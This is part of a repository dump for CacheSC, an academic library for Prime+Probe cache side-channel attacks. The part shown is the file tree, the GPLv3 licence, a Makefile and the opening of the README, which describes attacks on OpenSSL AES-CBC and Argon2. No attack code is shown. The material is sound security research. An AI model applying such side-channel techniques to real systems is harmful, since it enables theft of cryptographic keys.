├── .gitignore ├── COPYING ├── Makefile ├── README.md ├── demo ├── .gitignore ├── Makefile ├── argon2d-attacker.c ├── argon2d-victim.c ├── openssl-aes-cbc.c └── single-eviction.c ├── docs ├── imgs │ ├── l1_single_eviction.png │ ├── l1_single_eviction_normalized.png │ ├── openssl_aes_cbc.png │ └── openssl_aes_cbc_normalized.png └── revisiting-microarchitectural-side-channels-Miro-Haller.pdf ├── include └── .keep ├── install ├── pip_requirements.txt └── pip_requirements_exact.txt ├── lib └── .keep ├── scripts ├── __init__.py ├── logger.py ├── parser.py └── plot-log.py └── src ├── .gitignore ├── Makefile ├── addr_translation.c ├── addr_translation.h ├── asm.h ├── cache.c ├── cache.h ├── cache_types.h ├── cachesc.h ├── device_conf.h ├── gen_cache_asm_files.py ├── io.h ├── util.c ├── util.h ├── victim.c └── victim.h /.gitignore: -------------------------------------------------------------------------------- 1 | ## Intermediate results 2 | *.o 3 | *.S 4 | 5 | ## Compiled library archives 6 | *.a 7 | 8 | ## GDB files 9 | .gdb_history 10 | peda-*.txt 11 | 12 | ## Mac finder files and hidden folders 13 | .DS_Store 14 | 15 | ## Temporary files 16 | *.swp 17 | *.swo 18 | 19 | ## Zip files 20 | *.tar 21 | *.tar.gz 22 | *.zip 23 | *.gzip 24 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SUBDIRS := src 2 | 3 | TARGETS := all clean rebuild 4 | 5 | $(TARGETS): $(SUBDIRS) 6 | 7 | .PHONY: all $(SUBDIRS) 8 | $(SUBDIRS): 9 | $(MAKE) -C $@ $(MAKECMDGOALS) 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CacheSC 2 | CacheSC is a library for L1 and L2 cache side-channel attacks. It implements `Prime+Probe` attacks on contemporary hardware. It features: 3 | - Simple interface to abstract low-level complications of performing cache attacks, including precise time measurements in the presence of out-of-order execution. 4 | - Privileged and unprivileged methods to attack physically indexed caches (such as L2 on many devices). 5 | - Handy plotting scripts to visualise side-channel oberservations. 6 | 7 | This code was developed and tested on a Dell Latitude E6430 with Ivy Bridge processors (Intel(R) Core(TM) i7-3520M CPU @ 2.90GHz) running Ubuntu 18.04. Since cache side-channels are highly architecture-dependent, the library might require some adaptions for other hardware. However, we expect the basic concepts and underlying problems to be present on other architectures due to its fundamental trade-off with performance. 8 | 9 | This library was developed in the context of a student project at the LASEC departement of EPFL. The rationale behind the design of this library, in-depth discussion of the demo applications and cache side-channels in general can be found in our [report](./docs/revisiting-microarchitectural-side-channels-Miro-Haller.pdf). 10 | 11 | Abstract: 12 | > Microarchitectural side-channels exploit observations on the internal state of (cryptographic) algorithms obtained by measuring side-effects such as contention on a shared resource. In this project, we focus on cache side-channels, which were among the first practically exploited information leakages. We provide an overview of the extensive research on cache timing attacks and a more in-depth analysis of the wide-spread Prime+Probe technique. We find that due to the empirical approach on cache side-channels, the results are often tailored to specific software and hardware versions. However, we consider it beneficial to revisit cache attacks and adapt them to new environments as the side-channels’ underlying root causes are likely to persist over time and architectures because of their fundamental relation to performance. Therefore, we revisit a classical chosen-plaintext attack, targeting OpenSSL’s AES-CBC implementation, and apply it on contemporary hardware. We explain the challenges of implementing this attack in the presence of out-of-order execution, dynamic frequency scaling, hardware prefetching, line-fill buffers and other optimisations. Furthermore, we especially highlight the importance of an appropriate data structure to cope with the previous challenges while minimising cache side-effects of the measurement itself. 13 | > 14 | > Moreover, we contribute CacheSC, a library that implements different variants of Prime+Probe targeting not only on virtually indexed caches but also including two methods to attack physically indexed caches. The first attack requires superuser privileges and translates virtual to physical addresses in user space by parsing the pagemap file. The second approach uses collision detection to build the cache attack data structure without requiring special privileges. Finally, we use CacheSC to conduct an initial review of the AES key scheduling algorithm as well as Argon2 and provide starting points for novel applications of cache side-channels. 15 | 16 | I would like to thank Muhammed Fatih Balli for supervising this project and many productive discussions and good inputs. Moreover, I would like to thank Prof. Serge Vaudenay for making this project possible. 17 | 18 | 19 | ## 1 Installation 20 | ### 1.1 Prerequisits 21 | Basic utilities required for compiling the library and using the Python plotting scripts. 22 | ```text 23 | $ sudo apt-get install git build-essential gcc python3 python3-pip 24 | ``` 25 | 26 | ### 1.2 Install Library 27 | Clone the repository: 28 | ```text 29 | $ git clone git@github.com:Miro-H/CacheSC.git 30 | ``` 31 | 32 | **Before you compile the library, configure your device specific hardware parameters.** It is essential for the cache attacks that you enter the correct cache dimensions (and other constants) in `./src/device_conf.h`. Useful commands to gather this information are `x86info -c`, `cat /proc/cpuinfo`, `lscpu`, and `getconf -a | grep CACHE`. 33 | 34 